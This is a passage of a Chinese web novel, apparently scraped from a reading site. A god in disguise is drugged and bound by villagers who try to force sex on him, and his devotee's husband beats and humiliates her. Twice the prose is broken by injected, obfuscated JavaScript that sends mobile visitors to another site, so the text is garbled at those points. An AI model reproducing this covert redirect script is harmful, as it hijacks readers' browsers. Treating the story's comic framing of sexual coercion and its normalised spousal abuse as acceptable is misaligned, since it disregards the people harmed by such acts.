人间的烈酒对他来说,跟白水没什么区别。 可为了不露痕迹,他还是佯装出了醉态。 没多久,便趴在了桌子上。 此时,鲁大梁为难地开口道:“不是,这后生,是不是不行啊?这药酒也喝了,药浴也泡了,怎么还没见他那玩意儿立起来啊?” 衡羿听完大惊失色。 他们,他们竟然,竟然一直在给他下药…… 这是要干什么!他可是掌管三界的神明,他们这群愚昧又无知的凡人,到底要对他做什么? 花祝年毅然决然地开口道:“不管了,先把他抬床上去再说!” 29. 刚他妈下了老子的床 衡羿之所以装醉到现在,就是想看看这群凡人要做什么。 他本来是可以直接离开的。 如果不是因为小信徒在这里,他根本不会留下来吃晚饭。 可他没想到的是,今天这种龌龊至极的事,居然是小信徒的手笔! 她是指挥者。 这两家人,全被她指挥着。 他曾在天上的时候,就知道她很有领导能力。 花祝年带着一群老姐妹儿,和抢占水渠的邻村人吵架,从来没有吵输过。 那群老姐妹儿,以她为主要输出对象。 其他都是辅骂。 对着邻村的那些人,开展了全方位,无死角地讨伐。 可他没想过,她的领导能力,居然会用来做这种事。 被人绑在床上的衡羿,睁开了眼睛,眼含泪光地看着花祝年道:“花大娘,你要对我做什么?” 花祝年倒是没遇见过这种,突然醒来的情况。 她抬手一巴掌抽了过去。 本以为自己能将这后生抽晕,可是发现他的眼中一片清明。 没有丝毫昏过去的迹象。 虽然心里有些慌,可是该做的事,还是要做的。 花祝年面目阴沉地说道:“后生,今天这事儿,你办也得办,不办也得办。你要是主动点,还能少受些罪。” 衡羿心里突然感到一阵委屈。 如果,如果她知道他的身份的话,肯定不会如此待他的。 他可是,她拜祭了三十年的神明。 她怎么能这么亵渎他? 亵渎神明,是要遭天谴的! 况且,她还有男人,贺平安那么爱吃醋,到底是怎么同意她做这种事的? 衡羿好心地对花祝年劝解道:“花大娘,我心里一直敬重你,把你当娘亲来对待。你对我做这种事,实在是太荒唐了。” 花祝年连理都不理他,直接转过身,吼了一嗓子:“干嘛呢?快点过来啊!人都给你摁住了。” 鲁绒绒也是第一次做强迫男人的事。 她平日里,只在话本子里见过,可要是让她做,她还是有些胆怯的。 况且,周围这么多人…… 花祝年一看就知道她害羞,对周围两个大男人说道:“人绑好了,你们就出去吧。这屋里只留我们娘三个。今晚,保证把生米做成熟饭!” 贺平安和鲁大梁都老老实实地出去了。 衡羿这才明白过来,原来不是小信徒要上他,而是鲁绒绒…… 他对花祝年问道:“花大娘,你是不是,被人胁迫的?” 花祝年嘿嘿一笑:“不是!我就是想给绒绒找个丈夫。哪知道你小子软硬不吃,只能来强的了。后生,我可跟你说,绒绒是清白之身,今天要是在你这儿破了,你就得娶她!” 衡羿难以置信地看着自己的小信徒。 如果是她要强行上自己,那他可能忍一忍就算了。 可是,她怎么能让别人来强他呢? 花祝年招呼着鲁绒绒过来,然后一把扒下了衡羿的裤子。 “绒绒,上!” 鲁绒绒一时间捂住了自己的眼睛。 鲁大梁的婆娘一巴掌拍在了她的屁股上。 “你看你这完蛋孩子!现在这个世道,你不赶紧抢个男人,提前占下,今后遇到的,那可都是要强迫你的。与其嫁个不喜欢的,被别人强迫,不如强个喜欢的!” 这话,是花祝年说的。但鲁大梁的婆娘,觉得很是在理。 不然也不能同意自家姑娘做这种事。 衡羿心惊胆颤地劝说鲁绒绒:“鲁小姐,你别跟着她们瞎胡闹。她们,都是些粗人。” 鲁绒绒本来是不想这样做的。 可是,一听到他的声音这样好听,突然就想了。 再加上,她本来就很喜欢他。人都已经给她绑上了,这种事不做白不做。 鲁绒绒拎着裙摆,目光坚毅道:“你不能怪我。今日,你流落山野之间,与我也算是有缘分。” 她正欲跨坐上来时,突然天空中一声响雷,将鲁大梁家的房顶给掀翻了。 不仅如此,还将衡羿身下的床,劈成了几半。 那些束缚住他的绳索,自然也就没了用处。 他不顾屋内人的阻拦,往外跑了出去。 院子里,有贺平安和鲁大梁在把守着。他们刚听见一阵响雷,就开始回过头看,结果就看见这后生跑了出来。 贺平安下意识地出声:“不是,这么快吗?” 鲁大梁伸手拦住衡羿:“你是不是不行啊?要不你回去再试试?” 衡羿一把将鲁大梁推倒在地,往后山的树林里疯跑而去。 花祝年从里面追了出来,指挥他们道:“你们倒是快追啊!” 鲁大梁和贺平安有些傻眼。 贺平安忍不住问道:“没成啊?” 鲁大梁今天付出不少,也觉得纳闷:“没成,你们怎么把人放了?” “雷劈的!没放!赶紧追去。你姑娘在屋里正哭呢。这后生要是今晚抓不到,明天你姑娘还怎么见人?” 鲁大梁一听这话,立即跟着贺平安一起,拿着火把往后山搜去。 可是找了大半宿,都没找见人。 因为,衡羿已经回到了天上。 他这下去一遭,差点没把自己给吓死。 虽然知道穷山恶水出刁民,可是这也太刁了。 他轮转百千万世,都从来没有被女子强过。 偏巧,其中还有他的小信徒参与。 衡羿现在对整个人间,包括他的小信徒,非常失望。 他躲回到天上,伤心得嗷嗷哭。 一想到,花祝年按住他的神情,他就觉得心里难受。 其实,不应该对她抱有什么期望的。 这三十年,他知道她受了很多苦,从只拿得动笔的少女,变成了生猛有力的妇人。 在乱世,这是一种很有利的进化。 小信徒既然可以忍受贺平安的欺辱,那就表示她已经默认了这种事的发生。 而在必要的时刻,为了一定的利益考量,自然也会允许别人对他做这种事。 衡羿一边伤心,一边还不忘给小信徒找着理由。 他理解她所做的一切事。 包括,让女子强迫他。因为无关情爱,不过是为了生计。 他不应该在下面露财的。 不然,也不会被鲁大梁盯上。再加上,乱世常有流兵抢掠女子,鲁家也是没有办法,才对他做出了这种事。 衡羿是很温和的神明,就算有人冒犯了他,也不用被人如何去哄,他自己就能把自己哄好。 在天上痛哭了一场,将自己哄好后,衡羿又下凡了。 他这一来一去,周围的神仙都知道,也全在关注着他的动静。 对于他的遭遇,其他的神仙,觉得又好气又好笑。 不过,倒也没什么人去责怪那些凡人。 他们本就六根不净,生活在地狱之中,为了资源不断地厮杀抢夺。 有时候做出些地狱习气的事,也是难免的。 衡羿在天上哭这么一场,回到凡间的时候,已经是第三天深夜了。 他刚推开院子里的篱笆,就听到了贺平安粗鲁的声音。 “你倒是出声啊!不出声,老子怎么知道,你舒不舒服。” “神经病!你能不能快点?我腰疼。” 衡羿受到了比之前还要大的打击。 他没想过,自己不过是才离开三天,他们,他们竟然在下面,做这种事。 又想哭了。 可是,他不能哭。 总是哭的话,庄稼会淹没的。 他要做一个心性不动的神,不能沉溺于人间的儿女私情。 花祝年本来就是贺平安的妻子。 他们两个人,做什么,都是应该的。 这与他无关。 他本来也不在乎这些。 之前,在天上看他们做了三十年,内心都没有怎么在乎过。 怎么会在这种时候在乎呢? 他的小信徒,没多少天可活了,他不过是来给她收尸的。 至于其他的,一概不管,一概不理。 衡羿转身气冲冲地离开。 这回,他是真的在山上睡了一夜。 夜晚的山林,格外的阴冷。 他躺在落叶间,感觉有什么东西,在一点点地破碎。 可是,又不知道是什么。 只觉得心很痛。 他甚至也谴责自己,到底在痛个什么劲? 人家是两口子,他算什么呢? 就是按照凡间的关系来论,他也不过是前夫! 跟她是没有缘分的。 花祝年跟贺平安做完,又出来擦身体。 打水的时候,发觉篱笆好像开了。 她披着衣服走到门口,往四周看了看,并没有看到人影。 大概是她多想了。 那个后生,经历了那样的事,恐怕是不会回来了。 不过,花祝年对于那个后生,是没有任何愧疚之心的。 她觉得这是一举两得的事。 既帮绒绒找了夫君,又给后生找了个好妻子。 就是他没福气,居然拒绝了。 不回来也好啊,那间书房,又是将军的了。 不过,这几天,她还是有些受罪的。 之前给后生喝的药酒,家里还剩了一些,贺平安喝了之后,每天晚上使不完的劲儿。 弄得她特别累。 她已经是个老太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我承受不住这样多的事,所以就总想有人能帮我分担一下。也不知道,有没有打扰到你。不过,你们这些灵体,晚上应该是不睡觉的。” 确实是不睡觉,想睡也睡不着。 躺在山上的衡羿,现在满脑子都是小信徒的声音。 她孤独而无助地面对着这个世间,可是,他却帮不了她。 就在衡羿准备闭上眼的时候,突然听到了小信徒的喊叫声。 贺平安一脚踹了过去:“你这个婆娘是怎么回事?刚他妈下了老子的床,转头又跟前夫哥唠起来了?你跟老子睡的时候,心里不会想的是这个死人吧!他妈的,臭不要脸的下贱货,老子娶你是倒了八辈子霉!” 花祝年连忙用红布包住那尊小象,生怕玷污了将军的眼睛和耳朵。 “你别乱说话!我只是这几天太忙,一直都没有跟将军说话,所以——” “所以什么?你就非要在这个时候聊?刚他妈从老子床上下来,你就过来找他?老子上半场,前夫哥下半场,是不是?” 花祝年忍无可忍道:“你能不能,不要这样粗鲁?” “这会儿嫌弃老子粗鲁了,老子给你钱花的时候,你怎么没嫌弃?” 贺平安说着,就开始从柜子里,往外捯饬花祝年买的香烛。 “一个死了三十年的人,吃得比他妈老子平时吃得都好!你就这么稀罕他?” 花祝年从地上捡着香烛:“这不是用你的钱买的,是我诓骗那后生的钱。你别在这里无理取闹了,好好睡你的觉去。” 贺平安一巴掌打了过去:“睡你妈的觉!谁他妈还睡得着?老子刚痛快两天,你就非要这么折磨我是不是?看我痛苦,你开心是吗?” 花祝年将所剩无几的香烛护在怀里:“我没有故意跟你过不去。我平日里,的确忙得没时间跟将军聊天。刚刚,我以为你睡着了,才过来找他的。” 其实她的话是没什么歧义的。 但偏偏贺平安怎么听,怎么觉得不舒服。 “你还在狡辩!这不就是,趁着老子睡着了,你自己出来偷腥吗?” 他揪住花祝年的头发道:“到底是我能满足你,还是前夫哥能满足你?说话!” 花祝年抱着香烛痛哭:“我对他没有那种心思,你要我说多少遍,你才相信!” “你让我怎么相信?你来找他之前,甚至是把自己洗干净了的。这说出去,谁他妈能信啊?” 花祝年无助地说道:“我刚刚,只是在跟将军聊,希望他能惩恶扬善,对坏人的魂灵加以教导约束,对好人的魂灵有所扶持。除此之外,再没别的了。你信也好,不信也好,只有这些话。我那么尊重他,怎么可能对他做你说的那种事?” 花祝年对着贺平安解释了一大堆,贺平安都没听进去。 唯独听进去了“尊重他”那几个字。 30. 看他累成这样 贺平安将花祝年往外拖拽出去,直接拎起一桶冷水,就往她的身上浇灌下去。 将她怀里的香烛尽数打湿。 仿佛只有这么做,他心里的恶气,才能稍稍出一些。 冷水泼过来的时候,花祝年仍旧死死地抱着怀里的香烛。 哪怕他们被水打湿后,变得潮湿黏腻。 她还是紧紧地抱在怀里。 想象着,将军享用这些的样子。 正是因为享用不到,所以才要想象。 试图用浩大无边的想象,来填补现实中所遇到的不圆满。 贺平安跟花祝年生活了三十年,一看她闭眼睛,就知道她又在想别人了。 上去将她摁倒在地上:“你在发什么春?刚才没跟我睡够,又想他了,是不是?” 花祝年摇头。 地上的污泥,黏在她的头发上。 看起来很狼狈。 可是贺平安还是不满足,他又抓起一把污泥,涂抹到她的脸上。 之后一路往下,粗暴地往她的身上抹去。 他今晚差点被她气死! 花祝年知道贺平安一向不肯听她的解释。 从来都是他认为什么,就是什么。 喜怒无常到了极点。 衡羿在贺平安撕开花祝年衣服的时候,推开了篱笆,赶了回来。 贺平安正在气头儿上,哪怕是来了人,也是要睡她的。 他从来不吝啬于在外人面前和她做。 仿佛要向全世界宣告,她是他的人一样。 衡羿忍不下去,及时地出声道:“贺大叔,你这是,在干什么?” 贺平安趴在花祝年身上骂骂咧咧道:“干你娘!看不出来吗?一天天地,该留的时候不留,该走的时候不走,没他妈见过你这么没眼力见儿的后生!” 衡羿走上前,将贺平安“搀扶”起来。 说是搀扶,其实就是强行拉拽起来的,他看不了这个人,再在他的小信徒身上多待一秒。 并不是破坏他们之间的夫妻感情,而是,他,他受不了。 像花朵一般美好的人,被人狠狠弄在污泥里践踏折辱。 花祝年仍旧躺在地上,怀里抱着被水泼湿的香烛。 她感觉自己的整个身体,仿佛陷在了污泥中一样。 怎么提都提不起来,也没有任何力气,只想在烂泥里躺着。 主要是,她不知道该怎么跟将军说。 没有保护好给他上供的香烛,让她觉得十分愧疚。 她实在是对不起他。 总是让他受到贺平安的侮辱,明明她从未对他有过非分之想。 夜空中的月亮,是那样的皎洁。 没有人能触碰到。 有那么一刻,她好像从中看到了他的面容。 如果,如果他在,就好了。 不仅她不用嫁给贺平安,人间应该也会少许多战事吧。 可惜,那样干净的少年,被无道的君主,以那样惨烈的方式处死了。 衡羿将贺平安扶进屋内后,才出来对花祝年伸出了手。 花祝年其实已经被打得魂儿都没了。 只想静静地躺在泥土里。 衡羿见她并不去拉自己的手,直接将她从地上抱了起来。 屋里的贺平安,已经“睡”熟了。 衡羿知道对一个凡间的男子,用这样的术法不好,可是,他不能看着自己的小信徒,就这样躺在污泥里。 花祝年被抱坐到台阶上,衡羿坐在灶台前,帮她烧着热水。 她的怀里,是断裂的香烛。 当初下那样大的雨,她都没有弄湿一分。 结果,回来却被贺平安泼湿了。 衡羿因为使用了法术的缘故,所以水烧得很快。 他打好水后,将花祝年拉拽到暗处,伸手去解她的衣服。 突如起来的触碰,吓得花祝年浑身一哆嗦。 她看向眼前的人:“后生,你要做什么?” “我烧了热水,你把衣服换下来,擦擦吧。” 花祝年愣了几秒后:“哦,谢谢你啊。” 衡羿没说什么话,在一旁等着拿她的衣服。 花祝年脱去外衣后,发觉他还站在这里,她仰起头看他:“你回屋里去啊。你在这儿,我怎么擦?” 衡羿转过身去:“我等着,给你换水。你就擦吧,我不看。” 花祝年现在也没心思计较这些。 她把他当儿子看,再加上,自从上次那件事后,她觉得这后生是个很正直的人,所以也就没什么可顾忌的了。 他说不看,那就是不会偷看。 花祝年在暗处擦洗着身体,将贺平安涂抹在自己身上的污泥,一点点用热水抹去。 擦的时候,还能感受到一股粗粝的感觉。 可能是贺平安在涂抹的时候,不小心抓伤了她,所以有些疼。 再加上一碰热水,就更疼了。有种血肉剥离的痛感。 她一时没忍住,哭出了声。 衡羿下意识地想要转身,最终还是没能做到。 他过不了心里这一关。 其实,现在他已经很过分了。 哪有把人家男人弄晕,自己烧水给女主人洗澡的…… 这放在任何话本子里,都是狂徒的配置。 可偏偏他是心性澄明的神。 因此,才不会对她起那种不好的歪心思。 但即便是这样,他也是不能转过身的。 衡羿听着小信徒的哭声,攥紧了拳头。 最终,还是忍不住想要安慰她:“花大娘——” 可是,刚说了三个字,就不知道该怎么安慰了。 贺平安简直是个禽兽! 禽兽都不如。 他能怎么替他说好话呢? 难道要他对花祝年说,大家日子都是这么过来的,忍一忍就好了? 还是劝她说,人都是会变的,贺平安将来会变好? 又或者,直接让她跟贺平安和离! 每句话,他都说不出口。 既不切实际,也像是二次伤害。 唯独让她跟贺平安和离倒还靠谱一些,可是,贺平安势必不会答应。 他总不能直接夸下海口,说要带她去私奔。 那不是一个守护三界的神该做的事。 她虽然是他最为狂热的小信徒,可是他也不能因此对她太过偏爱。 况且,花祝年和贺平安的姻缘,是被月老写在姻缘簿子上的。 这一世要是没过完,下一世她还得遭罪。 遇到的人还是他。 每条路都行不通,他能怎么劝她呢? 或许是花祝年也意识到,自己无路可走的事实。 哭声居然越来越放肆。 从起初的小声呜咽,到后面捂着脸嚎啕大哭。 仿佛要把心里的委屈,全部都哭出来一样。 衡羿心疼地看着她。 其实,拜神有什么用呢? 他是全天下最没用的神,即便是来到她身边,也无法护她分毫。 不过,花祝年哭,倒不是因为拜神没用。 她只是觉得很累很累了。 再加上,前不久刚跟贺平安做过,身体本来就很不舒服,本来想找将军聊聊天,缓解一下。 结果还被贺平安打了一顿,被他涂抹了一身的污泥,越是擦洗,就越是觉得不舒服。 情绪积压到了一定程度,就会毫无征兆地爆发出来。 衡羿在看了她良久后,才意识到,自己已经转过身来了。 既然已经转过了身,就去看看水还热不热吧。 他弯下腰探了探桶里的水温,发觉已经不烫了。 只能不动声色地将水倒掉,重新给她换了一桶热水。 花祝年捂着脸哭得太过沉浸,所以并没有看到。 她现在就是被人一刀捅死,可能也不会有太大的反应了。 衡羿换好水后,忍不住对她提醒道:“花大娘,快点擦洗吧,不然水就凉了。擦洗好后,好回去睡觉。明天,还要做饭呢。” 并不是他在压榨她,而是,花祝年几十年如一日的生活,本就是如此。 无论夜里遭遇了怎样的事,睡的时间有多短,都是要起来做早饭的。 贺平安是个饿死鬼投胎。 动不动就喊饿。 一没饭吃,就暴力打人,也不知道是不是为了胡乱借机发泄。 但按时给他做饭的话,总归是能少挨些打的。 花祝年听完衡羿的话后,倒也没有露出如何生气的神情。 她知道自己的命本就是如此。所以,渐渐地止住了哭声。 开始变得平静而麻木,她仔仔细细地擦洗着身体,比跟贺平安睡完之后的擦洗还要细致。 等擦洗完毕后,一只手朝着她伸了过来。 手里递了一个小包袱。 包袱里是两件新衣服,倒是挺符合她这个年纪的。 花祝年穿好后,看着衡羿:“你怎么会有老妇人穿的衣服?” 衡羿无奈道:“本来,是给娘买的。但是,看你没有衣服穿,就先给你穿了。” 花祝年很多年不买新衣服了。 并不是贺平安不给她钱买,而是她所有的零花钱,都用来供奉将军了。 她本来也不是那种在意吃穿的人。 不过,该市侩了,还是很市侩的。 花祝年对衡羿说道:“这衣服,我既然穿了,那就是我的了。咱们可先说好,我可没钱还你。” 衡羿笑了笑:“好。花大娘,你就穿着吧。我这一时半会儿,也回不去家。没事的。” 花祝年其实是个很容易被哄好的人。 刚刚经历了那样的事,也不会让自己长时间的处于悲痛之中。 只要生活里有一点点甜,她就能熬过那些苦。 夜里,她把衡羿给自己的新衣服换了下来,又穿上了那件老旧带着破洞的睡衣。 衣服要省着穿。 再者,她有时候,觉得自己不该穿太好的衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943264|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟前不久,她才想联合鲁家的人,把这个后生给强上了。 唉。 这后生是真有钱啊。 跟个大肥鹅一样!这兵荒马乱的年头,谁看见了不想咬一口呢? 她是真心想让鲁绒绒嫁给他,过一辈子好日子。 而且,花祝年觉得这两个人多般配啊。 怎么就没弄成呢? 躺在一旁的贺平安,鼾声渐起,睡得愈发熟了。 花祝年本来想起身,再去跟衡羿说说那门亲事,可是又怕弄醒贺平安,到时候再挨一顿打。 罢了,等明天吧。 第二天一早,花祝年早早地起床做饭。 衡羿倒是没起来,一直睡在床上。 这似乎是,仙术的反噬。 每当天道觉得他不该用法力的时候,都会惩罚他睡个几天。 外表是睡着的,但神识是清醒的,只是浑身乏力,没办法像之前那样活动而已。 可即便是这样,衡羿也不后悔。 他不后悔昨晚弄晕贺平安,更不后悔给小信徒烧水擦洗身体。 衡羿的神识仔仔细细地听着外面的动静。 贺平安睡醒后,去外面撒了泡尿。 他昨夜虽然打了花祝年,可早上醒来就跟没事人一样。 次次都是如此。 打完人,装什么事也没发生。 这像是两个人之间的默契。 搭伙过日子的夫妻,应该就是这样的吧。 如果天天吵架打架,那日子就没法过了。 晚上打完架,早上她依旧给他做饭,他依旧会给她留家用。 贺平安在吃饭前,喊了衡羿几嗓子,可是见他实在是起不来,只好自己跟花祝年一起吃。 这可不能怪他没叫他。 花祝年记得衡羿要的,三菜一汤。 即便是早饭,也是按他的要求来,不过,眼下倒是全都便宜了贺平安。 贺平安吃了两口,看着她身上的衣服说道:“衣服不错,哪儿来的?” “后生给他娘买的,我趁他不在,偷偷翻了出来,放进了自己的柜子里。昨晚擦洗身体后,就想换上,看合不合身。” 贺平安笑了笑:“好看。你穿什么都好看。这后生是个傻子,你就是偷他几锭银子,他估计也觉察不了。” 花祝年附和道:“下次吧。下次他要是再出走,我再去他房间翻倒翻倒。” 贺平安很快喝了一碗粥,将碗递给花祝年,要她给自己盛。 花祝年照做了。 正盛着的时候,鲁绒绒走了进来。 自从那天,衡羿逃跑后,她就一直躲房间里不出来。 花祝年曾经喊了她好几次。 可是,都没有回音。 此刻,她见她主动来了,十分开心。放下碗,就过去揽住了鲁绒绒。 刚想说话,却被鲁绒绒一把推开。 鲁绒绒看着花祝年,嫌弃道:“花婶儿,你身上,怎么一股子菜味儿啊?” 贺平安听不上这话,对鲁绒绒斥责道:“说什么呢?你花婶儿做了一早晨饭,那是饭香味儿!我就爱闻这个味儿。” 鲁绒绒并不搭理贺平安,而是转头对盛粥的花祝年问道:“花婶儿,你昨晚洗澡了么?” 花祝年一头雾水,不知道鲁绒绒为什么问自己这个。 不过,她一向拿她当闺女看,于是老实答道:“哪有那个条件啊,就弄个桶水擦了擦。” 鲁绒绒冷笑一声:“哦。你自己擦吗?” 花祝年端着粥碗,放到了贺平安面前:“不然呢?你贺大叔呼呼大睡,哪能使唤得动他啊。” 鲁绒绒仍旧觉得不解气,她知道花祝年在骗自己。 她看了看四周,故意对花祝年问道:“薛凡呢?我昨晚上,在窗户里看到,他回来了。怎么不出来吃早饭?” 贺平安喝了口烫粥,烫得直冒热气,他一边扇风一边回应道:“喊他了,他起不来。这后生,这些天也不知道跑哪儿躲着去了。一回来就睡大觉,看把他给累的。” 鲁绒绒的眼里冒出了几分阴毒的冷光。 “看他累成这样,说不定是伺候女人去了。一看就不是什么正经后生!” 花祝年不太想让衡羿受到这样的揣测,再则,她还是想撮合他们的。 于是,忍不住出声道:“绒绒啊,这后生人不那样。他品行蛮好的。这些天,可能是在外面,流离失所的,累着了。” 鲁绒绒看着花祝年身上的新衣服,冷笑着讽刺她:“花婶儿,你别是吃人嘴短,拿人手短吧!” 贺平安把筷子往桌子上一摔:“鲁家丫头,你疯了不成?一大早这是吃枪药了?你花婶儿从小拿你当亲闺女看,你干嘛呢这是?怎么越说越难听了?” 鲁绒绒看了看花祝年身上的衣服,又看了看衡羿睡觉的书房。 眼睛渐渐地变红了。 “贺大叔,别看你这么怼我,好像显得自己有多精明一样。我看啊,你也跟我一样,是个糊涂到家的可怜人。” 31. 就连世俗都不容 贺平安从椅子上站起来,走到鲁绒绒面前,扬起巴掌来,就要抽她。 花祝年喜欢鲁家的小丫头,他平时也就配合着喜欢一下。 可大部分的时间,也就是为了哄花祝年开心,并不是真的有多喜欢这孩子。 特别是她说话没轻没重的。 要是换了别的小辈,依照他这个暴脾气,早在第一句的时候,就扇她大巴掌了。 哪儿会大早晨地听她这一通说? 神经! 可惜,他的巴掌还没抡过去,就被花祝年挡了下来。 花祝年泛着眼泪花儿跟他闹:“你干什么?你这是要干什么?平日里打我还不够,还要打从小看着长大的孩子?你这个臭脾气,什么时候能收敛收敛?干嘛跟孩子过不去?” 贺平安昨晚已经跟花祝年闹了一通了,因此早上不想再跟她闹了。 只能咬着牙忍了下来。 他伸出手指着鲁绒绒的鼻子道:“小比崽子,为了你的事儿,我跟你花大娘忙前忙后,本来想赚点媒人钱,结果一分都没赚到,还落你这么个埋怨。以后你事儿,我们再也不管了。回去让你爹妈好好管管你!” 贺平安觉得鲁绒绒跟他们讲话,夹枪带棒的,主要是因为没睡成那后生的原因。 并不知道鲁绒绒其实是昨晚看到了些什么。 心里气不过,才来找茬儿的。 鲁绒绒毕竟是小孩子心性,她虽然气花祝年抢了她的男人,可是也并不想让花祝年挨贺平安的打。 况且,刚刚贺平安要打自己的时候,还是花祝年拦下来的。 鲁绒绒瘪了瘪嘴,瞪了花祝年一样:“你少在这里跟我假好心!” 说完,就转身离开了。 幸好自己转身快,不然真的要秃噜出来了。 鲁绒绒到底还是念着花祝年的好。 不然,也不会气成这样,都只是说了几句阴阳怪气的话。 并没把自己昨晚看到的,说给贺平安听。 她不是那种喜欢传闲话的人。 不过,她希望花祝年今后能收敛一些,不要仗着自己一把年纪,生活艰难,就在那里勾引无知的后生。 他们两个人都差了辈儿了!这怎么能在一起呢? 鲁绒绒是不会对薛凡放手的。 她觉得他不过是一时被迷惑,所以才会对花祝年言听计从。 只要她努力一些,总能挽回他的心。 毕竟,她年龄摆在这里。 再怎么样,也不会不如一个老大娘! 可是思来想去,鲁绒绒还是很气。 于是回到家后,便忍不住跟娘说了这件事。 鲁大梁的婆娘,平日里看起来软弱,可也是个性情中人。 她听完并不觉得有什么,反而对鲁绒绒劝道:“绒绒啊,这世上,不只那后生一个男人,要不,娘再给你说个别的呢?” 鲁绒绒没有想过,就连娘也不站在自己这边。 她拍着床哭闹:“你怎么回事啊?你是我亲娘啊!怎么能容忍一个老太太,抢我的男人呢?况且,她还口口声声说,把我当女儿看。有她这么当女儿看的吗?都开始觊觎女婿了!她不知羞耻,大半夜的在外面,让人家后生搂抱,当着后生的面擦身子,我没见过那么不要脸的人!呸!恶心!” 鲁绒绒有着小女孩儿的天真。 有些事,就连世俗都不容,让她怎么容得下呢? 她特别看不上花祝年这副做派。 如果她要是把这件事宣扬了出去,村子里的吐沫星子,都能把花祝年给淹死。 只是她善良,又念着旧情,才没有做出什么过分的事。 可哪怕只是跟娘讲,娘也不站她这边。 鲁绒绒气急之下,捂着脸哭了起来。 这些天,因为强迫薛凡失败,她哭了好多次。 花祝年也来看过她。 她都不知道,花祝年是以怎样的心情,来看她的。 那天到底是花祝年故意放走那个后生,还是绳子真的就被劈开了。 怎么屋里三个人,都没摁住他呢? 如果当时那事儿办了的话,这后生就是她的人了。 他娶也得娶,不娶也得娶。 哪里轮得到他去给花祝年烧水?还去伺候花祝年擦洗身子呢? 鲁绒绒觉得自己之所以没睡成薛凡,全都是花祝年的错。 是她一把年纪,春心荡漾,起了歹心,才搞破坏的! 鲁大梁的婆娘,将鲁绒绒揽在怀里说道:“绒绒啊,娘知道,你喜欢那个后生。可是,娘觉得,他好像对你没那个意思。咱么就不要强人所难了吧。” 鲁绒绒暴脾气一上来:“怎么就不能强?当初是你们说的,我不强男人,男人就要强我了!我就要强,就要强!” 鲁大梁的婆娘显得有些无措。 唉。 都怪花祝年,起的什么歪主意,把好好的姑娘给教坏了。 居然教姑娘去强男人。 现在好了吧,没强成,全怪她身上了。 跟花祝年做了这么多年的邻居,鲁大梁的婆娘,对花祝年心里是很同情的。 其实,每次贺平安打花祝年的时候,他们这边,都听得真真的。 当初,花祝年刚嫁过来的时候,那多水灵啊。 可就这么日如一日地被贺平安给摧残着,现在哪有半点年轻时候的样子? 再者说,她们这些老姐妹儿,别看平日里总嘲笑花祝年拜那个少年将军。 可是心里多少也是有些羡慕她的。 她至少有人可想,也有过那么一段美好的经历。 可是她们这些老姐妹儿呢? 每一个都是盲婚哑嫁,又没有读过什么书,大多都是嫁给了山野村妇。 连窥探少年将军的资格都没有。 至于自己,当初嫁给鲁大梁时,鲁大梁是个纨绔。 可是因为战乱的影响,家业全充当了军饷。 后面,就全是苦日子了。 鲁大梁的婆娘,从未爱过鲁大梁。 但这大半辈子,也就这么过来了。只是,心里有时候,看着鲁大梁那张讨厌的脸,难免会想着寻个寄托。 只是,她都没见过好的,又从哪里去寻寄托呢? 这方圆百里,都是些大老粗。 唯一看得过去的,也就是花祝年家的贺平安。 贺平安年轻的时候,也是十里八乡的俊后生。 可是,他心里只有花祝年。别人多看两眼,就能看到他对花祝年的占有欲。 这也不好当做寄托啊。 鲁大梁的婆娘,心里就这么空荡荡地过来了。 如果花祝年想要跟后生搞一起的话,她其实是支持的。 她甚至支持他们私奔。 大概是被生活摧残了太久,总想着找一个突破口发泄一下。 但这并不是说她的道德有多不好。 鲁大梁的婆娘,不过是跟花祝年感同身受罢了。 就算花祝年跟后生搞在了一起,那又有什么关系呢? 她不过是犯了全天下女人都会犯的错。 这并不是女人的错,而是世道的错。等什么时候,女人能不用迫于形势,匆忙地嫁与他人,再来讨论女人的道德问题吧。 可是这些话,她是没办法跟一个小丫头讲的。 鲁绒绒没有经历过婚姻的辛酸与苦楚,她虽然生在山野之间,可也是被他们两口子,捧在手心里长大的。 等她被迫嫁给了不喜欢的人,还要整日里为不喜欢的人做饭,就会知道遇见一个喜欢的人,对自己的影响有多大。 那真是眼朦朦,心慌慌,茶不思,饭不想。 不过,鲁大梁的婆娘,也就是有贼心没贼胆。 她顶多也就幻想几个少年郎,并不会真的做出什么出格的事。 毕竟,鲁大梁对她算不错的。 更没有像贺平安对花祝年那般,一言不合就往死里打她。 他们还有一个宝贝女儿,再怎么说,她也不能干那种对不起人的事。 但是花祝年不同。 她和贺平安这三十年生活得并不幸福。 两个人虽然生了三个孩子,可是全都战死了。 这也就没有了感情的纽带。 如果她是花祝年的话,是肯定不会好好跟着贺平安过的。 虽然贺平安现在也挺俊的,但他毕竟老了。 体力方面,哪里比得过俊俏的后生呢? 她们这些老姐妹儿,平日里没事了,也会说说闲话。 并不是多有伤风化,只是根据现实来讲,男人都是越老越不行的。 单从这方面来说,那位后生就远胜贺平安了。 鲁大梁的婆娘对鲁绒绒劝道:“你花婶儿日子过得苦,她平日里,也没个寄托,要是真的跟那后生好了,咱们就当没看见吧。” 鲁绒绒因为不理解,所以觉得娘说的这番话,异常恶心。 “怎么能当没看见呢?这是要浸猪笼的!” 鲁大梁的婆娘笑了笑:“傻孩子,那世上的男人三妻四妾的,你见他们哪个浸了猪笼了?” “可他们年龄差距太大了!” 鲁大梁的婆娘解释道:“就是差距大,才好玩啊。女人嘛,得学会给自己找乐子。总不能找个男人,还跟家里的老东西一样,上个炕都费劲。都背德了,那当然要找年轻力壮的啊!越有劲儿的越好。” 鲁绒绒听完还是不理解,但她也不想再跟娘聊这些了。 娘总是帮着花祝年说话,也不 